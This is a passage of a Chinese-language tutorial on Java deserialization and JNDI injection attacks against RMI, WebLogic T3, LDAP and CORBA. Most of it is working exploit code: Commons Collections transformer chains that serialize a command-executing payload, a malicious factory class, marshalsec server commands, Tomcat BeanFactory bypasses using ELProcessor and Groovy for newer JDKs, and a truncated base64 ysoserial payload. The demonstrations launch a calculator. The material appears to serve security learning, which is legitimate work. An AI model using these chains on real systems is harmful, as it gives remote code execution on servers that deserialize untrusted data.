- Scanner sc = new Scanner(System.in);
- String message = sc.next();
- // 调用远程方法
- hello.echo(message);
- if (message.equals("quit")) {
- break;
- }
- }
- }
- }
RMI是基于JRMP协议的,而Weblogic RMI是基于T3协议(也有基于CORBA的IIOP协议)。WebLogic RMI是WebLogic对Java RMI的实现,它们之间的不同在于:
(1)WebLogic的字节码生成功能会自动生成服务端的字节码到内存。不再生成Skeleton骨架对象,也不需要使用UnicastRemoteObject对象。
(2)在WebLogic RMI 客户端中,字节码生成功能会自动为客户端生成代理对象,因此Stub也不再需要。
T3传输协议是WebLogic的自有协议,它有如下特点:
(1)服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
(2)通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
和RMI类似,先创建服务端对象接口和实现类:
- public interface IHello extends java.rmi.Remote {
- String sayHello() throws RemoteException;
- }
- public class HelloImpl implements IHello {
- public String sayHello() {
- return "Hello Remote World!!";
- }
- }
服务端不再需要Skeleton对象和UnicastRemoteObject对象,服务端代码如黄框所示:

客户端中也不再需要stub:

Weblogic T3 协议
RMI的Client与Service交互采用JRMP协议,而Weblogic RMI采用T3协议。

WebLogic RMI调用时T3协议握手后的数据包,包含不止一个序列化魔术头(0xac 0xed 0x00 0x05),每个序列化数据包前面都有相同的二进制串(0xfe 0x01 0x00 0x00),每个数据包上面都包含了一个T3协议头,前4个字节正好对应着数据包长度。
RMI使用反序列化机制来传输Remote对象,那么如果是个恶意的对象,在服务器端进行反序列化时便会触发反序列化漏洞。如果此时服务端存在Apache Commons Collections这种库,就会导致远程命令执行。即Runtime.getRuntime().exec(“calc”)等语句。
该库中含有一个接口类叫做Tranesformer,其实现类有ChainedTransformer、ConstantTransformer、InvokerTransformer、CloneTransformer、ClosureTransformer、ExceptionTransformer、FactoryTransformer、InstantiateTransformer、MapTransformer、NOPTransformer、PredicateTransformer、StringValueTransformer、SwitchTransformer。前三个可以在反序列化攻击中进行利用,其本身功能及关键代码如下:
- //InvokerTransformer构造函数接受三个参数,并通过反射执行一个对象的任意方法
- public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
- this.iMethodName = methodName;
- this.iParamTypes = paramTypes;
- this.iArgs = args;
- }
- public Object transform(Object input) {
- Class cls = input.getClass();
- Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
- return method.invoke(input, this.iArgs);
- }
- //ConstantTransformer构造函数接受一个参数,并返回传入的参数
- public ConstantTransformer(Object constantToReturn) {
- this.iConstant = constantToReturn;
- }
- public Object transform(Object input) {
- return this.iConstant;
- }
- //ChainedTransformer构造函数接受一个Transformer类型的数组,并返回传入数组的每一个成员的Transformer方法
- public ChainedTransformer(Transformer[] transformers) {
- this.iTransformers = transformers;
- }
- public Object transform(Object object) {
- for(int i = 0; i < this.iTransformers.length; ++i) {
- object = this.iTransformers[i].transform(object);
- }
- return object;
- }
将上述函数组合起来构造远程命令执行链:
- Transformer[] transformers_exec = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
- };
- Transformer chain = new ChainedTransformer(transformers_exec);
- chain.transform('1');
那么接下来的问题就是,真实环境中如何触发ChainedTransformer.transform,有两个类调用了transform方法,LazyMap和TransformedMap。TransformedMap中的调用流程为setValue ==> checkSetValue ==> valueTransformer.transform(value),所以如果用TransformedMap调用transform方法,需要生成一个TransformedMap然后修改Map中的value值即可触发,上述执行链添加如下部分:
- Transformer chainedTransformer = new ChainedTransformer(transformers_exec);
- Map inMap = new HashMap();
- inMap.put("key", "value");
- Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
- Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
- onlyElement.setValue("foobar");
如果用LazyMap调用transform方法,调用流程为get==>factory.transform(key),但是这些也还是需要手动调用去修改值。要自动触发需要执行readObject()方法,所用的类为AnnotationInvocationHandler,该类是JAVA运行库中的一个类,这个类有一个成员变量memberValues是Map类型,并且类中的readObject()函数中对memberValues的每一项调用了setValue()函数,完整代码如下:
- Transformer[] transformers = new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
- Transformer chainedTransformer = new ChainedTransformer(transformers);
- Map inMap = new HashMap();//创建一个含有Payload的恶意map
- inMap.put("key", "value");
- Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//创建一个含有恶意调用链的Transformer类的Map对象
-
- Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//获取AnnotationInvocationHandler类对象
- Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });//获取AnnotationInvocationHandler类的构造方法
- ctor.setAccessible(true); // 设置构造方法的访问权限
- Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });
-
- FileOutputStream fos = new FileOutputStream("payload.ser");
- ObjectOutputStream oos = new ObjectOutputStream(fos);
- oos.writeObject(instance);
- oos.flush();
- oos.close();
-
- FileInputStream fis = new FileInputStream("payload.ser");
- ObjectInputStream ois = new ObjectInputStream(fis);
- // 触发代码执行
- Object newObj = ois.readObject();
- ois.close();
在RMI中利用,即在反序列化基础上,加入如下代码:
- InvocationHandler h = (InvocationHandler) instance;// 实例化AnnotationInvocationHandler
- Remote r = Remote.class.cast(Proxy.newProxyInstance(
- Remote.class.getClassLoader(),
- new Class[]{Remote.class},
- h));
- try{
- Registry registry = LocateRegistry.getRegistry(port);
- registry.rebind("hello", r); // r is remote obj
- }
- catch (Throwable e) {
- e.printStackTrace();
- }
另外对于RMI服务攻击,可以使用URLClassLoader方法回显:
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");
在介绍JNDI注入之前,要说说JNDI是什么。
JNDI(Java Naming and Directory Interface,Java命名与目录接口),如果从名称上进行拆分,可以分为命名服务和目录服务。命名服务是将名称与值关联起来的实体,也称为“绑定”(bindings)。例如,域名www.baidu.com和IP地址202.108.22.5绑定、姓名和身份证号绑定,都可以理解为一种命名服务。
命名服务提供了基于名称来查找对象的方法,我们可以通过姓名这种好记的名称来查找身份证的值,即lookup(查找)或search(搜索)。
目录服务是一种特殊的命名服务,只是在查找时找的是目录对象,它存有对象的所有属性,那么在操作时也操作的是对象的属性。
JNDI的架构如下:
Java Application ->JNDI API -> Naming Manager -> JNDI SPI(LDAP、DNS、NIS、NDS、RMI、CORBA)
JNDI提供了与不同类型的服务交互的公共接口。但其自身不区分客户端和服务端,也不具备远程能力。JNDI在客户端上主要进行访问、查询和检索等,在服务端主要进行配置管理等,比如在RMI服务端上不直接使用Registry进行bind而使用JNDI统一管理。
JNDI架构如下图,Naming Manager包含用于创建上下文对象和对象的静态方法。服务器提供者接口(SPI)允许JNDI管理不同的服务。

SPI(Service Provider Interface),服务提供发现机制,Service通常指接口/抽象类,Provider则是接口的具体实现(如AService、BService)。在配置文件中配置Service的实现类,就可以通过ServiceLoader来调用所有的Provider。那么JNDI SPI可以理解为,通过JNDI,根据绑定对应的名称,来调用和管理LDAP、DNS等各类服务。

数据库开发的代码简单的写法如下,但是这种写法存在一些问题,例如当url、用户名和密码变化时就需要修改源码。
- username="root";
- password="root";
- url="jdbc:mysql://localhost:3306/xxx";
- Class.forName("com.mysql.jdbc.Driver");
- conn=DriverManager.getConnection(url, username, password);
而使用JNDI的话,在META-INF下创建一个context.xml文件:
- <Context>
- <Resource
- name="jndi/mybatis" -- 以项目名称命名-->
- auth="Container"
- driverClassName="com.mysql.jdbc.Driver"
- password="root"
- type="javax.sql.DataSource"
- url="jdbc:mysql://localhost:3306/xxx"
- username="root" />
- Context>
数据库连接的代码就改成了这样,要修改的话只需要修改配置文件,而无需修改代码。根据Resource的name进行搜索(命名服务的特点),根据相关属性加载类对象。从这个Demo也可以看出,Naming Manager能够创建上下文对象(Context)并根据位置信息引用对象的静态方法:
- Connection conn=null;
- InitialContext ctx=new InitialContext();
- Context envContext=(Context) ctx.lookup("java:comp/env");
- DataSource ds=(DataSource) envContext.lookup("jndi/mybatis");
- conn=ds.getConnection();
JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。
- Hashtable env = new Hashtable();
- env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
- //com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory
- env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
- Context ctx = new InitialContext(env);
- Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test")
-
- //将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定
- ctx.bind("refObj", new RefObject());
- //通过名称查找对象
- ctx.lookup("refObj");
在JNDI服务中,RMI服务端除了直接绑定远程对象之外(JAVA序列化传输对象到远程服务器),还可以通过命名引用的方式通过绑定,由命名管理器进行解析的一个引用。引用由References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
- Reference reference = new Reference("MyClass","MyClass",FactoryURL);
- ReferenceWrapper wrapper = new ReferenceWrapper(reference);
- ctx.bind("Foo", wrapper);
JNDI除了与RMI搭配使用,还可以与LDAP、CORBA等,JNDI与LDAP配合使用方式如下:
- Hashtable env = new Hashtable();
- env.put(Context.INITIAL_CONTEXT_FACTORY,
- "com.sun.jndi.ldap.LdapCtxFactory");
- env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
-
- DirContext ctx = new InitialDirContext(env);
- //通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
- Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
这是手动设置服务工厂及PROVIDER_URL的方式,JNDI还提供协议的动态转换,即使我们不设置上述内容,如果ctx.lookup("rmi://attacker-server/refObj");执行便自动转换对应服务。
- Hashtable env = new Hashtable();
- env.put(Context.INITIAL_CONTEXT_FACTORY,
- "com.sun.jndi.rmi.registry.RegistryContextFactory");
- env.put(Context.PROVIDER_URL,
- "rmi://localhost:9999");
- Context ctx = new InitialContext(env);
- String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
- //通过名称查找对象
- ctx.lookup(name);
此处的lookup中的参数如果可控就可以根据攻击者提供的URL进行动态转换。
JNDI注入是BlackHat 2016(USA)@pentester 的一个议题"A Journey From JNDI LDAP Manipulation To RCE"提出的。
根据上述demo可以发现JNDI注入流程是(以RMI为例),如果目标代码中调用了InitialContext.lookup(URI),且URI为用户可控->攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name->攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类->目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;->攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果。调用链为:RegistryContext.decodeObject()->NamingManager.getObjectInstance()-> factory.getObjectInstance()。
JNDI主要的攻击向量有:RMI、JNDI Reference、Remote Object、LDAP、Serialized Object、JNDI Reference、Remote Location、CORBA、IOR

JNDI注入攻击,它可以与RMI和LDAP攻击相结合,但是在高版本JDK中都将trustURLCodebase默认值改为了false,限制了从远程codebase加载对象。RMI对应的限制JDK为:JDK 6u132、7u122、8u113;LDAP对应的限制JDK为:JDK6u211、7u201、8u191、11.0.1。限制了远程加载后,大家就开始研究从本地环境中寻找利用类,如Tomcat的org.apache.naming.factory.BeanFactory,它具备反射功能,可以通过传入一个类来执行类中的方法。现有的类利用方式包含:javax.el.ELProcessor#eval、groovy.lang.GroovyShell#evaluate等。
| JNDI工具名称 | 地址 |
| JNDI-Injection-Exploit | https://github.com/welk1n/JNDI-Injection-Exploit/ |
| Rogue JNDI | https://github.com/veracode-research/rogue-jndi |
| marshalsec | https://github.com/mbechler/marshalsec |
(1)JNDI Reference+RMI
- public class RMIServer1 {
- public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
- Registry registry = LocateRegistry.createRegistry(9999);
- // Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名,FactoryClassName为工厂类名并且包含工厂类的包名
- Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
- ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
- registry.bind("refObj", refObjWrapper);
- }
- }
- public class RMIClient1 {
- public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
- Properties env = new Properties();
- env.put(Context.INITIAL_CONTEXT_FACTORY,
- "com.sun.jndi.rmi.registry.RegistryContextFactory");
- env.put(Context.PROVIDER_URL,
- "rmi://localhost:9999");
- Context ctx = new InitialContext();
- ctx.lookup("rmi://localhost:9999/refObj");
- }
- }
当运行lookup函数时,RegistryContext.decodeObject() 会被调用,然后调用NamingManager.getObjectInstance() 进行实例化,最终返回Reference,然后getObjectFactoryFromReference() 会从Reference中得到实例化的类。攻击者可以提供自己的工厂类,一旦实例化就会运行payload。
整个攻击过程为:攻击者为JNDI lookup提供了一个绝对的RMI URL,然后服务器连接到攻击者控制的RMI注册表,该注册表将返回恶意的JNDI引用,服务器解码JNDI引用后从攻击者控制的服务器获取工厂类,进行实例化的时候payload执行。所以此攻击方式可以用于 Spring's JndiTemplate或Apache’s Shiro JndiTemplate 等调用InitialContext.lookup()的情况。
(2)JNDI+LDAP
Naming Manager在JAVA对象(JAVA序列化、JNDI references等)解析运行时可能造成RCE,DirContext.lookup() JNDI注入和“LDAP Entry Poisoning”的主要区别是,对于前者,攻击者就可以使用自己的LDAP服务器,对于后者,攻击者需要攻击LDAP服务器条目,与应用程序交互时等待期返回被攻击条目的属性。
攻击过程为:攻击者为JND lookup提供了一个绝对LDAP URL,服务器连接到攻击者控制的LDAP服务器,该服务器返回恶意的JNDI引用。服务器解码JNDI引用从攻击者控制的服务器获取工厂类,实例化工厂类时payload得以执行。
LDAP Entry Poisoning
LDAP攻击主要针对于属性而非对象,例如,用lookup方法查找对象时,search()方法是在检索LDAP条目的所需属性(例如:用户名、密码、电子邮件等),当只请求属性时,就不会有可能危及服务器的Java对象解码。然而,如果应用程序执行搜索操作,并将returnObjFlag设置为true,那么控制LDAP响应的攻击者将能够在应用服务器上执行任意命令。
(3)JNDI+CORBA
org.omg.CORBA.Object read_Object会对IOR进行解析:
- public org.omg.CORBA.Object read_Object(Class clz) {
- // In any case, we must first read the IOR.
- IOR ior = IORFactories.makeIOR(parent);
- if (ior.isNil()) return null;
- PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory();
- String codeBase = ior.getProfile().getCodebase(); <1>
- PresentationManager.StubFactory stubFactory = null;
- if (clz == null) {
- RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId()); <2>
- String className = rid.getClassName();
- boolean isIDLInterface = rid.isIDLType();
-
- if (className == null || className.equals( "" )) stubFactory = null;
- else
- try { <3>
- stubFactory = sff.createStubFactory(className, isIDLInterface, codeBase, (Class)null, (ClassLoader)null);
- }
- catch (Exception exc) {
- stubFactory = null;
- }
- else if (StubAdapter.isStubClass( clz )) {
- stubFactory = PresentationDefaults.makeStaticStubFactory(clz);
- } else {
- // clz is an interface class
- boolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ;
- stubFactory = sff.createStubFactory( clz.getName(),isIDL, codeBase, clz, clz.getClassLoader() ) ;
- }
- return internalIORToObject( ior, stubFactory, orb ) ;
- }
攻击者可以手工创建一个IOR,该IOR指定在他控制下的代码库位置<1>和IDL接口<2>,即存根工厂的位置。然后,它可以将运行有效负载的存根工厂类放在其构造函数中,并在目标服务器<3>中实例化存根,从而成功地运行payload
攻击过程:攻击者为JNDI lookup提供了一个绝对的IIOP URL。服务器连接到攻击者控制的ORB,该ORB将返回恶意IOR,然后服务器解码IOR从攻击者控制的服务器获取存根工厂类。进行实例化的同时payload执行。
JNDI攻击的DEMO如下,上面说到JNDI支持很多的服务,如rmi、ldap等,所以在攻击时有一些区别。
- Hashtable env = new Hashtable();
- // rmi攻击
- env.put(INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
- env.put(PROVIDER_URL, "rmi://localhost:1099");
- // ldap攻击
- env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
- env.put(Context.PROVIDER_URL, "ldap://localhost:389");
-
- Context ctx = new InitialContext(env);
- ctx.bind(“foo”, “Sample String”); // Bind a String to the name “foo” in the RMI Registry
- Object local_obj = ctx.lookup(“foo”); // Look up the object
PS:除了javax.naming.InitialContext,它的子类InitialDirContext和InitialLdapContext也受此攻击影响
RMI的文章中讲过,远程方法调用过程中传递的是stub(代理对象),而不是对象本身,因为序列化的数据可能很大,每次传递大量的序列化数据并不是一个很好的设计。所以JNDI引入了Naming References,给了对象一个地址rmi://server/ref,从远程的codebase中加载class。
JNDI简单来说就是InitialContext.lookup(URI)根据名称来查找某个服务,URI可能是rmi://server/ref,也可能是ldap://server/ref。如果这个URI可控,并且传入的是攻击者的RMI服务器地址rmi://hacker_server/ref,那么获取到的就可能是一个恶意类。在查找过程中类会被动态加载并进行实例化,所以如果恶意类的构造方法/静态代码块static/getObjectInstance方法里写入了恶意代码,就会达到RCE(远程代码执行)的效果。
(1)攻击者绑定一个恶意类在RMI服务中
恶意类如下:
- public class Exp_fast {
- public void Exploit() {}
- static
- {
- try {
- String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
- ? new String[]{"cmd.exe","/c", "calc.exe"}
- : new String[]{"/bin/bash","-c", "open /Applications/Calculator.app"};
- Runtime.getRuntime().exec(cmds);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
-
- public static void main(String[] args) {
- Exp_fast e = new Exp_fast();
- }
- }
用marshalsec工具起一个RMI服务,并绑定恶意类Exp_fast:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://ip:1389/\#Exp_fast(恶意脚本名称)
(2)攻击者在应用程序的lookup方法中传入JNDI的地址,并触发lookup方法:
- public static void main(String[] args) {
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//高版本JDK需开启远程调用
- try {
- String uri = "rmi://127.0.0.1:1099/Evil";
- Context ctx = new InitialContext();
- ctx.lookup(uri);
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
(3)应用程序访问攻击者的命名或目录服务,并获取到恶意类
此时RMI服务器1099端口会有如下记录:
- Have connection from /127.0.0.1:52420
- Reading message...
- Is RMI.lookup call for Exp_fast 2
- Sending remote classloading stub targeting http://localhost:1389/Exp_fast.class
- Closing connection
HTTP服务器1389端口会有如下记录:
- Serving HTTP on 0.0.0.0 port 1389 (http://0.0.0.0:1389/) ...
- 127.0.0.1 - - [21/May/2020 19:11:07] "GET /Exp_fast.class HTTP/1.1" 200 -
(4)应用程序对恶意类进行实例化,攻击载荷被执行
根据上述流程也可以看出来,应用程序的lookup中传入rmi地址,触发lookup请求后,请求了RMI注册表,得到了这样的反馈:Sending remote classloading stub targeting http://localhost:1389/Exp_fast.class,然后又向这个http地址发起了请求,最终获得了恶意类,然后实例化的过程中,执行了static代码块中的内容,最终弹了计算器。
JDK 6u132、7u122、8u113中系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。想要进行利用,需要将这两个值改为false。
JDK6u211、7u201、8u191、11.0.1中将com.sun.jndi.ldap.object.trustURLCodebase 的默认值变为false。与上述RMI的限制类似。
上述这些高版本中不能再从远程url中加载恶意类,那么就需要从本地的CLASSPATH入手,找一个恶意的工厂类,来执行命令或者进行反序列化构造。
JNDI调用RMI的调用栈如下:
- javax.naming.InitialContext #lookup
- com.sun.jndi.toolkit.url.GenericURLContext #lookup
- com.sun.jndi.rmi.registry.RegistryContext #lookup
- com.sun.jndi.rmi.registry.RegistryContext #decodeObject --> 判断trustURLCodebase
- javax.naming.spi.NamingManager #getObjectInstance
在RegistryContext#lookup时会获得一个Remote对象,被ReferenceWrapper包装,结构如下:
- ReferenceWrapper[
- Reference[
- className="Foo",
- addrs={...},
- classFactory="Evil",
- classFactoryLocation="http://ip:1389/#Evil
- ],
- UnicastServerRef[liveRef: [endpoint:[localhost:56396](local),objID:...]
- ]
在RegistryContext#decodeObject这步中会判断trustURLCodebase,在高版本JDK中该值默认为false,所以会抛出异常。
- if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
- throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
- }
NamingManager#getObjectInstance有如下代码:
- factory = getObjectFactoryFromReference(ref, f); //从CLASSPATH中加载factoryName对应的类,如果没找到就从codebase中加载
- if (factory != null) {
- return factory.getObjectInstance(ref, name, nameCtx, environment);
- }
-
- //getObjectFactoryFromReference的核心三步:
- clas = helper.loadClass(factoryName); // 从CLASSPATH中加载factoryName对应的类
- clas = helper.loadClass(factoryName, codebase); // 如果没找到就从codebase中加载
- return (clas != null) ? (ObjectFactory) clas.newInstance() : null; //类加载成功就进行实例化,并将其转换成ObjectFactory类型
也就是如果能从本地找到对应的类,就加载类进行实例化,转换成ObjectFactory类型,然后调用该类的getObjectInstance方法。
有人找到了Tomcat中的org.apache.naming.factory.BeanFactory类,该类实现了ObjectFactory接口,并且具备getObjectInstance方法。具体看一下getObjectInstance方法的源码:
- public class BeanFactory implements ObjectFactory{
- public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throws NamingException {
- if (obj instanceof ResourceRef) { //obj需要为ResourceRef类型 --> (1)要求为ResourceRef类型
- try {
- Reference ref = (Reference)obj;
- String beanClassName = ref.getClassName();
- Class> beanClass = null;
- ClassLoader tcl = Thread.currentThread().getContextClassLoader();
- if (tcl != null) {
- try {
- beanClass = tcl.loadClass(beanClassName); //根据className加载类
- }
- ...
- Object bean = beanClass.getConstructor().newInstance(); //构造方法创建对象 -->(2)要求类中有无参构造方法
- RefAddr ra = ref.get("forceString"); //获取forceString的内容
- if (ra != null) {
- value = (String)ra.getContent();
- Class>[] paramTypes = new Class[]{String.class}; //参数类型,String数组型
- String[] arr$ = value.split(",");
- for(int i$ = 0; i$ < i; ++i$) { //对forceString内容进行遍历
- String param = arr$[i$];
- param = param.trim();
- int index = param.indexOf(61); // 根据=号截取forceString --> (3)如果没有setter方法,需要将方法名放到等号后,如x=eval,调用eval方法
- if (index >= 0) {
- propName = param.substring(index + 1).trim(); //=号后的内容为propName
- param = param.substring(0, index).trim(); //=号前的内容为param
- }
- forced.put(param, beanClass.getMethod(propName, paramTypes)); // 根据方法名、参数类型获取方法。param是即将传入方法的参数
- }
- value = (String)ra.getContent(); //从ra中获取方法值
- Method method = (Method)forced.get(propName);
- if (method != null) {
- valueArray[0] = value;
- try {
- method.invoke(bean, valueArray); //调用方法
- }
- }
- }
BeanFactory相当于Tomcat本地可以利用的类,但是想要执行命令还需要找一个配合的类。因为BeanFactory只提供反射调用。具体调用哪个类需要根据getObjectInstance的逻辑来构造。之前的文章《Java WebShell1—Java 命令执行》提过ELProcessor命令执行,该类具有无参构造方法。类是从Reference的结构中读取的,那么想要利用ELProcessor配合BeanFactory,就需要将结构赋值成如下的形式。
- Reference[
- className="javax.el.ELProcessor",
- addrs={...},
- classFactory="org.apache.naming.factory.BeanFactory",
- classFactoryLocation=null
- ],
最终构造的Server端代码如下,此时Client端lookup查询Evil类即可触发:
- ResourceRef ref=new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
- ref.add(new StringRefAddr("forceString","x=eval"));
- ref.add(new StringRefAddr("x","{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','/System/Applications/Calculator.app']).start()\")}"));
-
- ReferenceWrapper referenceWrapper=new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
- registry.bind("Evil",referenceWrapper);
还有利用Groovy进行命令执行的方式。
- Registry registry= LocateRegistry.createRegistry(1099);
- ResourceRef ref=new ResourceRef("groovy.lang.GroovyClassLoader",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
- ref.add(new StringRefAddr("forceString","x=parseClass"));
- String script = "@groovy.transform.ASTTest(value={\n" +
- " assert java.lang.Runtime.getRuntime().exec(\"open -a /System/Applications/Calculator.app\")\n" +
- "})\n" +
- "def x\n";
- ref.add(new StringRefAddr("x",script));
-
- ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
- registry.bind("Evil", referenceWrapper);
- }
更多高版本JDK下JNDI 漏洞的利用方法,请参考:
探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖
LDAP发送实体时,可以为存储的Java对象指定多种属性,具体如下:
- 0 = "objectClass"
- 1 = "javaSerializedData"
- 2 = "javaClassName"
- 3 = "javaFactory"
- 4 = "javaCodeBase"
- 5 = "javaReferenceAddress"
- 6 = "javaClassNames"
- 7 = "javaRemoteLocation"
JNDI从codebase拉取对象时,服务器的属性设置如下,但这种方法被高版本禁止了。
- // JNDI Reference
- e.addAttribute("javaCodeBase", cbstring);
- e.addAttribute("objectClass", "javaNamingReference");
- e.addAttribute("javaFactory", this.codebase.getRef());
所以绕过思路是从javaSerializedData属性入手,一旦该属性值不为空,客户端的decodeObject方法就会对这个属性的值进行反序列化。如果此时被攻击的系统中存在CommonsCollections等,就可以产生攻击。具体设置如下,base64字符串可以通过java -jar ysoserial.jar CommonsCollection5 "open -a Calculator" | base64"来生成:
- // 序列化对象
- String base64String="rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACV0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyA